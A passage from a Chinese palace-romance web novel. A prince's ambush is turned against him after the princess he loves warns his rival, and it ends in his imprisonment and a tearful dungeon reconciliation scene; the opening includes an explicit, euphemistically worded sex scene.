颜嘉柔抱他抱得愈发紧了,闷闷地道:“我每天都很乖……” 萧彻揉了揉她的脑袋:“好,我们颜颜每天都很乖。” 他道:“松手吧,我要出门了,你再继续睡一会儿,昨晚该是累坏了。” 颜嘉柔不太情愿:“今日不是休沐吗,为什么要出门?” “出门自然是有正事要做,乖,松开吧。” “我不,你再陪我一会儿嘛。” 萧彻挑眉,终于抬起她的下巴,仔细审视着今日过分缠人的小兔:“今天怎么这么黏人,嗯?” “昨晚缠着我不放也就罢了,怎么今日一大早便又是如此?” 颜嘉柔脸一红,嘴硬地反驳道:“谁……谁昨晚缠着你不放了……” “不是你吗?一边哭哭唧唧地说快死了,一边双褪缠着我的腰,怎么都不肯放下。” “我没有,我没有……”颜嘉柔怎么都不肯承认,害羞地把脸埋进他的怀里,瓮声瓮气地道:“哥哥,不许说了……” 萧彻抬眉,按住她的肩膀,将人从怀里微微推开,挑起她的下巴,拇指揉搓着她红润的唇瓣,低低地诱哄道:“想佐吗?” 颜嘉柔怔怔地看着他,终于还是禁不住诱惑,红着脸点了点头:“嗯……” 萧彻笑了下,抬手拍了拍她的皮鼓,身子后仰,靠坐在床头,懒洋洋的瞥了她一眼,颇有几分勾人的意味。 他看着她,语调语调懒散地道:“自己佐上来。” 颜嘉柔闻言直起身子,跪在萧彻的面前,一点一点挪了过去,薛白的手臂轻轻搭在他的肩上,红着脸扶着他的东西,兑准后一点一点地迟了下去,接着开始商夏饨图。 纱帐轻垂,偶有女子的低yin今逸出,带着婉转的缠音,说不出的娇媚酥人。 房间内的鹅梨香已经燃尽,香炉旁只余一段灰白的香灰,空气中飘散着着甜腻的香味,混着欢//。愉过后的暧日未气息,更添旖//。旎。 萧彻其实并不喜欢这种甜腻的熏香,但小兔喜欢,他便也开始为着她燃此种熏香。 不知过了多久,房间里的动静终于渐渐停下,萧彻抱起累晕过去的小兔,让其平躺在床榻上,又为她仔细盖好了锦被,这才起身穿衣离去。 出门时见到薛止,叮嘱他道:“这几日我有要事在身,你帮我看着公主,别让她乱跑,只许待在殿中。她若无聊了,想法子陪她解闷逗她开心,想吃荣记斋的点心,便着人替她去买,只一点,甜食不准她吃太多,浅尝个味道也就是了,记住了么?” “是,主子。” —— 这两日萧彻忙着和燕骁安排与部署人马,制定更为详细的计划,也没什么时间陪颜嘉柔,不过听薛止说,她这几日每天都乖乖地在含光殿等他回来,倒没闹着要出去,很乖。 只是变得愈发缠人了,晚上他不陪着,便睡不着,还时常做噩梦,梦到他不要她了,哭着从梦中醒来,醒来便往他怀里扑,哭得梨花带雨,怎么也不肯放手,要哄好久才肯再度入睡。 小兔突然变得这般粘人,也不知究竟是不是好事。 倒像是有什么心事,他的小兔,也有秘密了? —— 时间很快来到了三日后。 已近卯时,天光未明,披香殿的宫门在蒙昧的天光下愈发显得冷峻,朱漆门扉上的鎏金兽首衔环泛着冷光,深秋的风穿廊而过,叩响了门上的衔环,在这寂静的宫闱中更添几分萧瑟肃杀之意。 宫门两侧,是两条长长的回廊。回廊以朱漆立柱支撑,江沉鱼喜欢一步一景,每隔一段距离便放置一扇纹路各异的雕花屏风,将廊内分成数个隐蔽的角落。 萧彻隐在回廊深处,身上玄色铠甲泛着凛冽的寒光。 回廊内,玄甲卫分列两侧,屏息凝神。 廊柱后的阴影中,弓箭手半跪于地,箭已上弦,对准着宫门的方向,蓄势待发。 这般屏息凝神地等待着,日光渐渐爬上宫墙,晨曦微露。 “殿下,时辰已到。”身旁的亲卫低声提醒。 卯正已到,按照燕骁给的消息,萧珏这个时候该动手了。 萧彻透过屏风之间的缝隙,遥遥望向宫门口。 那里却依旧毫无动静,落叶在秋风的裹挟中无力地飘落在地上,泛着死气沉沉的静。 他微微皱眉,只道:“再等等。” “是。” 又过了半柱香的时间,宫门外依旧是毫无动静。 萧彻手指紧紧攥住剑柄,指尖微凉,手心却渗出一层薄汗。 不对,太安静了。 静到诡异。 卯时羽林军换防守卫最弱,如今已又过去半柱香时间,萧珏若真要谋反,绝不会拖延至此。而之前与燕骁约定烟花为号,他若已经截到李戎,不可能不给他发送信号。 除非……他猛地抬头,瞳孔骤缩。 —————————————————————— 颜嘉柔这日很早就醒了,心慌得厉害,实在睡不安稳。 侧头向窗外看时,天才蒙蒙亮。 她又在床上翻来覆去地滚了一阵,不安的预感越来越强烈。 她猛地从床上坐起,难道萧珏没听她的劝诫,依旧谋反了?不行!她一定要去东宫看看! 虽然萧彻临行前嘱托过薛止,让他看好颜嘉柔,不许她乱跑,但一来颜嘉柔这两天表现得很乖,让薛止放松了警惕;二来颜嘉柔毕竟不是犯人,反而是萧彻的宝贝疙瘩,薛止总不能真的把她当做犯人看押,用锁链之类把人捆绑起来,寸步不离吧。 再者他也不知道萧彻为了与她幽会特意为她留了一扇暗门,所以颜嘉柔想要支开他偷偷溜出去并不是一件难事。 她果然也做到了。 第112章 第112章“被枕边人出卖的滋味…… 颜嘉柔赶到东宫时,天光微亮,正遇上了萧珏带了一队人马整装出发。 她脸色骤变,立刻上前拦在他面前道:“太子哥哥,你果然还是要执迷不悟吗?” 萧珏略抬了手,身后的禁卫军齐齐止住了脚步。 “是嘉柔啊。”萧珏微笑道:“怎么一大早就过来了,我们小嘉柔,不是一向最贪睡了么。” “我睡不着。”颜嘉柔上前一步,双手拉住他的一条手臂道:“太子哥哥,你收手吧,我求你了。” 萧珏低头看了一眼她搭在他手臂上的一双手,唇角勾起一点弧度:“嘉柔,你这是在担心我么?” “太子哥哥,我自然是担心你的……” “我们嘉柔,真是好心肠,时刻都记挂着我,不枉皇兄疼了你这么多年,”他看着她,唇畔渐渐流露出一种奇异的微笑:“只是嘉柔,相比于担心我,你还是多担心一下你的三哥吧……” “三哥?”颜嘉柔蹙眉:“这是什么意思?” “什么意思,你待会儿就知道了。” 萧珏:“好了,嘉柔不必担心我,我此去,不为谋逆,而是为了捉拿贼人,保护父皇安危。” “嘉柔既然来了,便也跟着我一道去吧。” —— 披香殿旁的回廊内,萧彻直觉不对,骤然起身,下令道:“撤!” 身后一众玄卫甲纷纷起身,跟在他身后撤离。 然而刚走两步,他却忽然诡异地停下了。 兰陵人的耳里天生异于常人。 他耳廓微动,远远地,便听到宫门外响起一阵整齐划一的脚步声,以及铠甲摩擦发出的金属声。 听声音,来的卫队不在少数。 而身穿的铠甲,似乎有一部分是“明光铠”,那是宫中羽林卫才会穿的铠甲。 萧彻瞳孔猛地收缩。 不好! 下一刻,宫门被猛地推开,天光已然大亮,刺目的日光倾泻而入,将回廊内的情形照亮得一览无余。 破门而入的羽林军已将萧彻的人团团围住,刀光剑影在日光下闪烁,像是无数双眼睛在冷冷地注视着他。 萧珏双手负在身后,抬步走了进来,他身穿一袭绛纱锦袍,并无披甲,一副随性不经意的姿态,倒真像是无意间撞见他一般。 他一步步朝他走来,袍角处用金线绣着云纹,在日光下泛着粼粼波光。 他望着他,似笑非笑道:“呀,三弟,你怎会在此处?” 身旁随行的羽林郎将却皱着眉,一脸为难地看着他:“三殿下,您……怎么是您?” 萧珏道:“今日是贵妃娘娘的忌辰,父皇昨晚就宿在披香殿里了,我也有心想同父皇一道祭奠贵妃,也顺便劝慰父皇切 莫太过伤心,于是天还未亮便让苏全先行过来摆放祭品,谁知苏全去后却慌慌张张地跑了回来,告诉我披香殿内有异动,他听见了玄甲之声,似乎有贼人埋伏于此,想伺机对圣上不利。” “我听后大为紧张,因担心父皇安危,立刻找来羽林郎将率领羽林军随我一道来披香殿查探,谁知一进门就见到了三弟你,三弟漏夜带兵潜入披香殿外,埋伏于此,不会是担心父皇安危这么简单吧?” 话音刚落,便有一名羽林卫从门外跑了进来,附在羽林郎将耳边说了什么,羽林郎将脸色微变,又转头禀告了萧珏。 萧珏唇角缓缓勾起,偏头看向萧彻,阴阴地笑了:“刚想说三弟在此,或许是担心父皇安危,虽然匪夷所思,倒确实勉强可以称得上是一个开脱的借口。” “可惜啊,刚刚传来消息,燕骁私自带着驻防宫城的羽林军出城,谁不知他麾下入编的羽林军前身是燕家军,对燕氏的忠诚胜逾圣上,若无合理的解释,故意出城绕一圈掩人耳目,再折返入城,很难不让人怀疑是想趁着宫中守卫不备,直捣皇城,与你里应外合——谁都知道,你和他关系一向紧密,近来更是频频会面议事,若说你二人皆不知对方所为,三弟,恐怕是没人会信的。” 萧彻看着他,蓦地一声笑了。即便是身陷险境,他依旧是一副散漫从容的态度,仿佛一切仍在他的掌握之中:“用我的饵,钓我?” “大哥,好手段啊。” “好手段不敢当,”萧彻微笑着,往前走近了几步,附在萧彻的耳边,用只有他二人能听到的声音与他耳语道:“不过,是有贵人相助罢了。” “三弟,你就不好奇这个贵人是谁?” 心底有什么极可怕的念头一闪而过,心脏不受控制地剧烈抽痛。 萧彻攥紧手心,只觉喉头骤然间干涩得厉害,一双浅色的眼睛在日光下泛着琉璃般的光者,竟寂若寒潭:“萧珏,有话就说,何必故弄玄虚。” “三弟,你这么聪明,想必已经猜到了吧。” “怎么样,被枕边人出卖的滋味,不好受吧?” “你喜欢了她多少年,她便喜欢了我多少年,你以为,你与她几个月的鱼水之欢,便能抵消到了我们这么多年的感情?她喜欢你,可只爱我,不必看她怎么说,要看她怎么做。毕竟床榻之上的话,又怎么能当真呢?” “生死关头,她选择的,永远是我。我不需要靠色相引诱她,她就会乖乖地帮我,她爱的,是我这个人,这才是真正的爱。而她爱你什么,你比谁都清楚。” “你于她而言,不过是一味药,是一个下贱的玩物——三弟,你骗得了所有人,但骗不了我。你不可能不是兰陵人,不是江沉鱼的儿子,你生来卑贱,这一点,永远洗刷不掉。” “要我说得更清楚一些么,你之前的那些族人,若是男子,于我们的姑姑是什么,你于嘉柔,便是什么——不过是,面首罢了。” “她只是在怪病的影响下,被你的皮相所惑,喜欢你的身子罢了。” “但她心中最在乎的,永远是我。” “所以我不会再吃醋,一个玩物而已,我若吃你的醋,岂不是自降身份,你说呢,三弟?” 他说着慢慢往后退开了些许,满意地看着萧彻眸底戾气翻涌,眼尾慢慢泛上血色,双手紧紧握成拳,指关节被握得咯吱作响。 像是一头被激怒的困兽。 萧珏欣赏着他此刻的形容,萧彻在他面前,一贯是漫不在乎的神情,似乎从不把他放在眼里。 似如今这般因他的三言两语而失态,可不多见啊。 他哼笑了声,随即扬声道:“嘉柔,你三哥在这里,你怎么不进来跟他打个招呼呢?” 话音落下,萧珏身后的羽林军分列两侧,露出身后一抹绯红色的身影。 颜嘉柔挪动着脚步,一点一点地向前。 她尚未弄清楚如今到底是什么情况,萧珏不是说去捉拿贼人么,为什么将萧彻围了起来…… 她原本以为只要萧珏收手,谋逆之事便可以当做从未发生过,所有人都会好好的,可……为什么会演变成如今这样的局面。 她隐隐觉得事情的发展超出了她的掌控,想起之前萧珏对她说的那句:“还是担心一下你的三哥”吧,身体立时起了一阵颤栗,颇有一种毛骨悚然之感。 难道萧珏想借此陷害萧彻? 她猛地抬头,一张娇美莹白的脸上血色尽褪,慌乱无措地看着萧彻,在萧彻一寸寸碎裂的目光中,一时竟连往前走都忘记了,只呆呆地立在原地,哀哀地看着他:“三哥……” 饶是早就猜到是她,但在亲眼见到她从羽林军后方出来的时候,萧彻还是尝到了锥心刺骨的滋味。 心脏像是被人狠狠攫住,连呼吸都泛着绵密的疼。 从前漫不在乎、云淡风轻的一张脸,此刻终于彻底碎裂。 像是一直以来用来保护自己、不被他人看出弱点和伤痛的一张面具,终于在这一刻彻底化作齑粉。 从小到大,他早已受够了世人的冷眼与中伤,一颗心也已经麻木。 他原本以为,他该是不会再痛了。 直到这一刻,他看到颜嘉柔出现在这里。 她又骗了他。 真是可笑,他为什么还天真到相信这世上会有人真心待他。 明明早就在她身上栽过跟头,却还是执迷不悟,越陷越深。非要头破血流,落得一身情伤,才终于不得不醒。 事到如今,又怨得了谁? 只是…… 萧彻攥着剑柄的手狠狠收紧,指间泛白,他看着她,只觉喉头忽然涌上一阵腥甜,一低头,竟呕出一口鲜血:“为什么?为什么是你……” 颜嘉柔被吓坏了,失声叫道:“萧彻!” 她踉跄着跑到他身边,仓惶无措地去搀扶他:“对不起萧彻……对不起,你没事吧……你别吓我……” 萧彻却一把将她推开,一抬头,眼神是一种死气沉沉的冷:“滚。” 他一字一顿:“别再让我看见你。” 这个眼神,让颜嘉柔多年后都会哭着从梦中惊醒。 她被推地往后踉跄了一步。 这一下力道并不重,她却一下被推懵了。 萧彻待她,一向是宠着哄着的,从未有过一次,这般绝情地将她从他身边推开。 她是真的害怕了,不知所措地看着他,泪水霎时决堤而出,很快淌了满脸,她哭着道:“萧彻,我错了……我真的知道错了……别这样对我……” 她试探地向他靠近,伸出的手悬停在半空中,到底不敢去触碰他,她太怕再一次被他推开了:“哥哥,你不要我了吗……” 往常无论她犯什么错,没有什么是哭解决不了的。 可这次萧彻只是冷漠地注视着她,嗤笑了一声,看她的眼神,就像在看一场卖力却拙劣的表演。 “哭什么,既然目的都已经达成,清河公主,又何必再惺惺作态。” 颜嘉柔却哭得愈发凶了。 眼泪像断了线的珠子一般,不间断地往下淌落。 萧珏上前将人搂 在怀里柔声安抚,转头看了一眼三魂去了七魄,因颜嘉柔的背叛、遭逢了巨大的打击,几乎丢了心气的萧彻,心底终于浮上了一丝扭曲的快意。 第113章 第113章萧彻,别不要我,我…… 萧珏带着羽林军,浩浩荡荡地前往披香殿,这一举动闹出的动静实在太大。 他刻意走漏风声,很快“三皇子带兵包围披香殿,与燕骁里应外合,意图谋反”的消息不胫而走,不到正午,便已传遍了阖宫上下。 一时朝野议论纷纷,以贾唯为首的寒门官员并不信萧彻有谋逆之心,为其据理力争,直言如今二皇子被废、太子自坠马后伤到要害,久久未愈,三皇子却洗清了血脉争议,且在淮州赈灾与开设修文馆、编写《舆地志》中皆有功绩,在民间极有声望,势头大好,绝不可能生出谋逆之心,自毁前程。 却也有一些士族官员反驳道:“那可未必,太子重伤未愈,却未必没有治好的一天,他并无大过,又岂可因受伤而轻言废黜?圣上仍未下废太子的旨意,他一日未下,大皇子便一日是太子。难保有人等之不及,加上如今风头正盛,野心也随之膨胀,这才会铤而走险。” “毕竟事实摆在眼前,三皇子天未亮便率兵埋伏在披香殿附近,燕骁又恰好在这个时候率兵出城。挑这个时候,不就是看准了江贵妃忌辰,圣上必去披香殿祭奠,而披香殿守卫薄弱吗?” 一时争论不休。 …… 风波已经闹大,萧彻擅自带府兵埋伏皇城加上燕骁擅自调离禁军都不是小事,魏元帝只能下旨将二人入狱。 但却并未即可定下谋逆之罪,只说滋事体大,他必要好好审理一番再做定论。 —— 地牢深处,经年不见天日,自有一股深入骨髓的阴冷与潮湿。 颜嘉柔身处其中,只觉身子止不住的发颤,下意识地披紧了身上的斗篷。 石阶湿滑,她提着食盒,需要被狱卒搀扶着,才能缓步往前走。 萧彻所在的那间牢房位于甬道的尽头,她必须穿过长长的甬道,才能够见到他。 甬道幽深,暗得不见五指,唯有壁上残破的油灯,散发着微弱的光芒,忽然不知道从哪里起了一阵阴风,吹得烛火摇摇欲坠,更显阴森吊诡。 两旁铁栅后,被关押的囚犯见有人经过,一双双枯瘦的手从栅栏中伸出,狞笑着想要抓住她的衣角。 脚下忽然响起“吱吱”的声响,低头一看,竟然是几只老鼠从她的脚边蹿过,黑亮的眼睛在阴暗的牢房中更显吊诡。 颜嘉柔“啊”得一声,几乎是瞬间被吓得哭了出来。 狱卒连忙安抚道:“公主莫怕,那老鼠已经被我赶跑了。” “地牢腌臜,实在不是公主该来的地方,不若先行回去吧?” 颜嘉柔眼睫轻颤,尽管已经害怕得整个身子都在发颤,但还是强行将泪水逼了回去,咬着唇瓣道:“我不回去。” 小公主瞧着软,性子倒执拗。 看来她与三皇子,倒真是兄妹情深啊。 狱卒闻言也不再相劝,继续在前面带路,领着她往甬道尽头走去。 等终于走到了萧彻的牢房门口,狱卒替颜嘉柔打开了房门,躬身退下了。 颜嘉柔深吸一口气,慢慢地走了进去。 牢房昏暗,只有桌上的一盏油灯勉强能够照物。 萧彻倚靠在墙上,屈起一条腿,一只手搭在膝盖上,听到动静缓缓睁开了眼。 摇曳的烛火映照在他脸上,淬玉般的一张脸,即使在昏暗的光线下,依旧夺人心魄。 他脸上没什么神色,一双茶色的眼瞳淡漠地看着她。 颜嘉柔垂在身侧的手紧紧攥着裙边,又慢慢松开,往前小心翼翼地挪了几步,终于鼓足勇气走到他身边,蹲下身子,怯怯地叫了他一声:“三……三哥……” 萧彻冷淡地扫了她一眼:“你来做什么?” “我……”颜嘉柔刚张口,还来不及说什么,便听萧彻嗤了一声:“来看我笑话?” “颜嘉柔,你听好了,”萧彻慢慢直起身,看着她一字一顿地道:“回去告诉萧珏,别高兴得太早了,我还完不了,不信他看着,用不了多久,我就会从这里出去。” “至于你和萧珏欠我的,日后我也会一笔一笔地讨回来。” 他说完又靠了回去,疲倦地垂下了眼帘,仿佛连再多看她一眼也不愿:“现在,滚。” 颜嘉柔几乎一下子就哭了:“我不滚……我为什么要对萧珏说那样一番话,我和他不是一体的,我和你才是……” “呵,和我才是一体的?”萧彻抬眼看她,极为短促地笑了一声:“颜嘉柔,这话你倒也说得出来?和我一体的为了萧珏背叛我?和我一体的为了萧珏一而再再而三地骗我?颜嘉柔,你到底当我是什么?” 他的眸底渐渐泛上血红:“我也是人,我也会疼的,你知道吗?” 他攥过她的下巴,指尖微微收紧了力道,逼近她道:“一夜夫妻百日恩,你我都多少夜了,怎么你一点情分都不顾?” “你就这么喜欢萧珏?”他额角青筋凸起,戾气陡然上浮:“喜欢他到了这种地步?” 他到底还是深深地一闭眼,平复了体内的戾气,猛地收回了手:“吃里扒外的东西。” 力道之大,使得颜嘉柔微微偏过脸去。 她慢慢地重新转头看向他,一双黑白分明的眼眸氤氲着水汽,眼圈红彤彤的,一贯的楚楚可怜,看向他的眼神,却是从未有过的坚定:“我不喜欢他,我只喜欢你。” 萧彻一愣,随机嗤笑了一声,仿佛听到了什么天大的笑话:“喜欢我?” “一边睡着我,一边转头给萧珏通风报信,你就是这么喜欢我的?” 他极为冷淡地扫过她:“说吧,还想骗我什么?” “我没想骗你,”颜嘉柔低垂着眼睫,纤长浓密的睫毛被泪水沾湿,轻轻颤动着,她似乎不想再讨论这个话题,伸手打开了一旁的食盒,一边将里面的一碟碟糕点小心翼翼地端出来,一边道:“萧彻,这里的饭菜肯定不好吃,我给你带了几样点心过来,嗯……有玉露团、奶冻还有酥酪,都是你最喜欢吃的……” “我特地让人从宫外荣记斋买来的,”她献宝似的,将其中一碟糕点端到他面前,雪白肉乎脸颊上泪痕未干,一双眼睛却亮晶晶地看着他,抿了抿唇瓣道:“我一块都没有吃噢。” 萧彻面无表情地扫了那碟糕点一眼,冷嗤了声:“谁告诉你,我喜欢吃这种糯糯叽叽又甜到齁这种的东西?” 他道:“我最讨厌吃这种东西。” 颜嘉柔有些无措地抬起头,眼睫轻颤,白皙泛红的指尖攥紧了碟子的边沿:“可……可你每次都买这种……” “那是因为你喜欢。” 萧彻冷冷地看了她一眼:“和你在一起,我准备的膳食糕点,全都是你喜欢的,你难道不知道?” 颜嘉柔脸上闪过一丝错愕:“萧彻,我……” “看吧,连我喜欢吃什么都不知道,还说喜欢我?也是,一个工具、一味药而已,何必在乎他的 喜好呢?” “无论是你上面那一张嘴,还是下面那张,都是一样的喂不熟,白眼狼。” “不是的萧彻,不是这样的……”颜嘉柔说着,又吧嗒吧嗒落下泪来:“对不起,是我没有留心你的喜好,没有注意到你的感受,我会改的,真的,我以后会改的,你相信我好不好……” “以后?”萧彻搭在膝上的手,手指微微蜷缩了一下,声线冷平:“我们之间,没有以后了。” 颜嘉柔呆呆地看着他,一时连哭都忘记了:“你说什么?” 耳边嗡嗡作响,一种前所未有的恐慌笼罩住了她,她不知道她是怎么了,只觉得心口处闷涩不堪,泛起一阵阵细密的疼。 萧彻把她变得都不像自己了,现在怎么可以说不要她? “萧彻,你不要我了吗?”她像是一个不知所措的孩子,哭着地扑进他的怀里,只能通过眼泪来宣泄她的情绪。 “你说过你会永远和我在一起的,说过的话,立下的誓言,怎么能不作数?” “你知不知道,你这样说,我会很难过。” 颈侧传来濡湿的触感,他微微蹙眉:“别哭了,颜嘉柔,你除了哭,还会干什么?要哭也别在我面面前哭,无端搅得人心烦意乱。” “我不要!我就要在你身边!你……你若真的那么讨厌我,你杀了我吧,你杀了我,我就不哭了……呜呜……你杀我,就像碾死一只蚂蚁一样简单,我知道的……你杀了我好了,就当是为你自己报仇了,反正我也不想活了……” “你要这样耍无赖吗?” “对,我从来就不是一个讲道理的人,你是第一天才知道吗!” 萧彻到底还是轻轻叹息了一声:“颜颜,我们之间,是你先背叛的。” “我没有背叛……”她抽噎着,稍稍退开了一些身子,哭得实在伤心,好半天才缓过来:“萧彻,你听我解释,我不知道事情会变成今天这样的局面……” “我没有吃里扒外,我只是想让萧珏收手,我不想看他这样错下去,你想从他手里夺回储君之位,我自然也是希望你能够如愿以偿,我想你高兴……可是谋逆这个帽子太大了,我真的害怕他会因此丢掉性命,他毕竟是我的哥哥,我做不到无动于衷,眼睁睁地看他走上这条不归路……” “所以萧彻,我真的不是故意的,我不知道为什么他会知道是你布局在等他,他还反将你一军,如果早知道是这样,我是绝对不会将这件事泄露给他的……真的,我可以发誓!” 萧彻:“你不知道?颜嘉柔,这种事用你的脚趾想想也能够知道,你一个从来不关心朝堂之事的小姑娘怎么可能知道他意图谋逆——当然只能从我身上得知。” “你说担心他性命不保,可是颜嘉柔,他是萧元乾的亲子,虎毒尚且不食子,他怎么可能真的要他性命,最多不过被贬为庶人,流放罢了。萧元乾想要的,从来都不是他的性命,他只是想他让出那个位子,仅此而已。” 颜嘉柔怔怔地看着他,抽噎着道:“对不起哥哥,我不知道,我太笨了,我没有想到这些,对不起……” “对,你什么都不知道,你只知道转头向萧珏通风报信。” 颜嘉柔哭着摇头道:“哥哥,我真的知道错了,我还小,难免犯错,圣人说‘人非圣贤孰能无过,知错能改善莫大焉’,你不能因为我犯了一次错,就再也不原谅我了……” “我不能没有你的,你别不要我,我求你了,呜呜……” “好了,别哭了。”萧彻深看了她一眼:“我说过,我不喜欢见你哭。” 颜嘉柔闻言立刻止住了抽泣,瘪了瘪嘴,硬生生地把眼泪给憋了回去:“你不喜欢,我……我就不哭了……” 她说着又往前凑近了些许,有些不好意思地道:“哥哥,你能不能亲我一下?你亲我一下,我肯定哭不出来了……” 萧彻被气笑了:“你以为我是在跟你调情吗?” 颜嘉柔失望地摇了摇头。 忽然像是想起了什么事,连忙起身,解开了自己的斗篷,弯腰披在他的身上:“对了,这件斗篷,是取自白狐腋下的三寸软毛做成的,一百只狐狸才能做一件,披在身上很暖和,我想天气入秋了,到了夜晚特别冷,牢房的薄衾我担心不够御寒,所以我特地穿了带进来,你披在身上,多少也能暖和些。” 萧彻看了她一眼:“把斗篷给了我,你自己不冷么。” 这话听起来,倒像是关心的意思。 颜嘉柔扬起唇,笑着摇了摇头道:“我不妨事的。” 萧彻喉结滚动了一下,目光下移,注意到了她襦裙下摆上沾着的污泥,上面似乎还有破损,皱眉道:“你身上怎么回事?” 颜嘉柔低头看了一眼:“噢,地牢太阴湿了,有些滑,不小心摔了一跤,没关系的……” “疼么?” “……啊?” “我问你,疼不疼?” “噢,是有些疼……但是现在已经不疼了!” “其实这个倒没什么,方才在甬道上,我遇见了一只大老鼠,那才是真的把我吓了一跳呢!” 萧彻皱眉,意味不明地看着她:“……既然害怕,为什么还要来?” 颜嘉柔一怔,缓缓垂下了眼睫:“因为比起害怕老鼠,我更害怕你不要我了。” 萧彻手指无意识地蜷缩了一下,静静地看着她,良久之后,才开口道: “我接下来,有些话要跟你说,认真听着,皇妹。” 颜嘉柔乖乖地点了点头,软糯地“嗯”了一声,极力表现自己的乖巧。 只是不知道为什么,心情变得异常紧张,像是在等待某种宣判。 “这件事,我不怪你了。说到底,如果不是我把你宠得无法无天,你也根本没机会背叛我,所以,我不怪你了。” “可是颜颜,我们之间,便到此为止。” “你一而再再而三地这样对我,我真的已经疲倦至极。” “我记得我告诉过你,自我母妃去世之后,我便背负了许多。” “我答应过我母妃,我要为她完成她的心愿。我的母妃,或许是这世上唯一真心爱我的人,她的一生,已经够苦了,我既然答应过她,便一定要做到。所以我这条命,尚且有用,我要留着这条命,便绝不会再把自己置身险境,也不能再在人前暴露我的弱点,让想害我的人,有可乘之机。” “而颜颜,你就是我最大的弱点。也是最有可能把我带至险境之人。旁人若想害我,只需从你下手,便轻而易举地握住了我的命门。” “对,直到现在,我还是喜欢你。这样的喜欢,连我自己都觉得唾弃。可若是我再放纵自己沉沦,将你留在身边,将来有一天,或许会为你丢掉性命,甚至是死在你的手上,也未可知。” 颜嘉柔只是哭着摇头,又一次扑进他的怀里,哭得撕心裂肺:“不会的,我那么喜欢你,我怎么可能害你呢……” “那今日之事算什么,”萧彻动手推开了她,看你了她一会儿,到底还是抬手为她拭去了眼尾的泪痕:“好了,别哭了,你已经长大了,便不能动不动就哭。” 颜嘉柔转而紧紧抓住了他的手,眼睛红彤彤的,一双眼睛盛满希冀与祈求,分外渴望地看着他:“不行的萧彻,你知道我离不开你的,别不要我,好么……我会乖的,我保证,我以后一定会乖的!你让我做什么,我就做什么……” “你说的离不开我,如果是指怪病的话,我会再去找燕骁,大不了走点邪门的路子,总能有方法……你病情进展得那么快,我不久前问过燕骁,是你没有喝哑医给的那个药所致,你之前嫌弃那药苦,一直没喝,以后便不能了。” “你重新开始喝那个药,或许能够再次压制病情,往后用血就够了。” 颜嘉柔不可置信地看着他:“萧彻,你什么意思?” “为什么要帮我治好那个病,你想跟我撇清关系,斩断这个联系,往后便再也不必理我了,是么?” 萧彻目光低垂,只不说话,算是默认。 颜嘉柔一张脸骤然没了血色,她强忍着汹涌的泪意,豁然起身,胸脯上下起伏,看着他道:“我告诉你,我不同意!” 她是真的生气了,一旦生气,反而不想哭,不想在两人的对峙间落了下风。 “我知道,我知道你不相信我的话,依旧认为是我背叛了你,所以才不肯原谅我,是不是?可是萧彻,我要告诉你,我说的话都是真的,我没有骗你!你若是还不信的话……我……你等着,我会证明给你看的!” 她说完,便头也不回地跑出去了。 —— 东宫内,萧珏正在窗边逗弄鸟儿。 这几日他心情不错,李戎从宫外给他带了一只绿毛鹦鹉过来,说这小东西颇有灵性,可以帮殿下解闷。 萧珏逗弄了几天,倒确实有几分意思,他用逗鸟棒拨弄了它几下:“说,嘉柔只爱我。” 鹦鹉扑腾了几下翅膀,跟着学舌道:“嘉柔只爱你,嘉柔只爱你……” 萧珏正逗得兴起,忽然从殿门外传来一阵急促的脚步声。 他转头望去,只见颜嘉柔推门而入,见到他之后,立刻朝他跑了过来,脸上神情十分焦急,牵过他的手,便想带他往门外走:“太子哥哥,你跟我走!” “嘉柔,你这是要带我去哪儿?” “去地牢,我要你帮我向萧彻解释清楚!” 萧珏脚步一顿,以极为诡异的姿势停顿了下来:“向萧彻解释?” “哦?我有什么可向他解释的?” 他主动停下,颜嘉柔根本拉不动他,只得转过头来看他,急得都快要哭了:“他不肯理我了,他觉得是我联合你一起背叛他,你帮我去跟他解释清楚,就说我只跟你说让你不要谋反,以免万劫不复,旁的并没有说什么,也绝没有和你故意设局害他,这都是你自己做的,跟我没有关系……” “哦?就为了这个?这个很重要吗?做都做了,嘉柔,何必再做无谓的解释?” “很重要!一定要解释的!只有解释清楚了,他才有可能原谅我!” 萧珏皱眉:“萧彻原不原谅你,就那么重要?嘉柔,你还有我,我们不要他,好不好?” “不好!我便就是要他!” 萧珏重重换了一口气,耐心即将告罄:“那倘若我不去呢?” “我不管,你今天必须跟我一起去!”颜嘉柔也来了倔劲:“倘若你不跟我一起去,我就再也不理你了!” 萧珏冷笑:“你若是和萧彻重归于好,理不理我又有什么分别?” “你……”颜嘉柔再不料萧珏会这般不讲道理,一时气急了,索性不管不顾地道:“你若是不听我的,萧珏,别怪我将这件事的始末一五一十,全都告诉父皇。萧彻设计你固然存有私心,父皇或许会怪罪,可你的罪过,却要比他大上十倍不止。在父皇眼中,我一向天真单纯,不聪明,自然也不会有心机,更是不懂说谎,你猜,他是会信你,还是信我?” “你若是不肯帮我,那大家都别想好过!我是为了你才惹他生气的,你现在居然不帮我,你怎么能这样呢!” 萧珏微微眯起眸子,嗓音沉了下来:“嘉柔,我们这么多年的情分,你现在居然为了萧彻,威胁我?” “我也不想这样!”颜嘉柔哭着道:“是你先逼我的!” 两人正对峙间,颜嘉柔忽然呼吸变得急促,面颊也渐渐泛上潮红。她整个人不受控制地软了身子,眼见就要跌倒在地,萧珏连忙上去扶住了她。 望着怀里神色难耐、额头上渗满汗珠、不住呻。吟的颜嘉柔,萧珏的一颗心也跟着揪了起来:“嘉柔,你怎么了?” “萧彻……”颜嘉柔的眼神已经涣散,眸底湿//。润,两瓣红润柔软的唇微微开阖,轻轻吐露出一个人的名字:“我要萧彻……” 萧珏喉头发紧,他并非不懂男女之事,颜嘉柔眼下的这副样子,分明是情动了。 就像春日万物复苏,那些进入发。情期的山野动物。 不好,他想,她的怪症又发作了。 他的一颗心直往下沉。 第114章 第114章“这是最后一次做你的…… 地牢内,潮湿的空气中弥漫着腐朽的气息,石壁上渗出的水珠“啪嗒”一声滴落在地,极轻的一声,却清晰入耳,愈发衬出此时地牢的寂静。 没人来的时候,地牢一贯是死气沉沉的静。 忽然从甬道的尽头传来一阵急促的脚步声,步子略沉,像是负着什么重物。 是往他这个方向来的。 萧彻缓缓睁开了眼。 铁链作响,下一刻,牢门忽然被人从外面狠狠踢开。 萧珏一脸焦急地出现在牢房内,怀里抱着一个人,用斗篷整个包裹住了,瞧着体型该是个女子,只是脸上罩着风帽,遮住了面容。 “萧彻,嘉柔犯病了,你快帮帮她!” 萧珏的话音刚落,女子仿佛再难忍耐一般,纤细的脖颈沿着他的臂弯后仰,风帽滑落,完整地露出了她的一张脸。 娇美动人,是颜嘉柔。 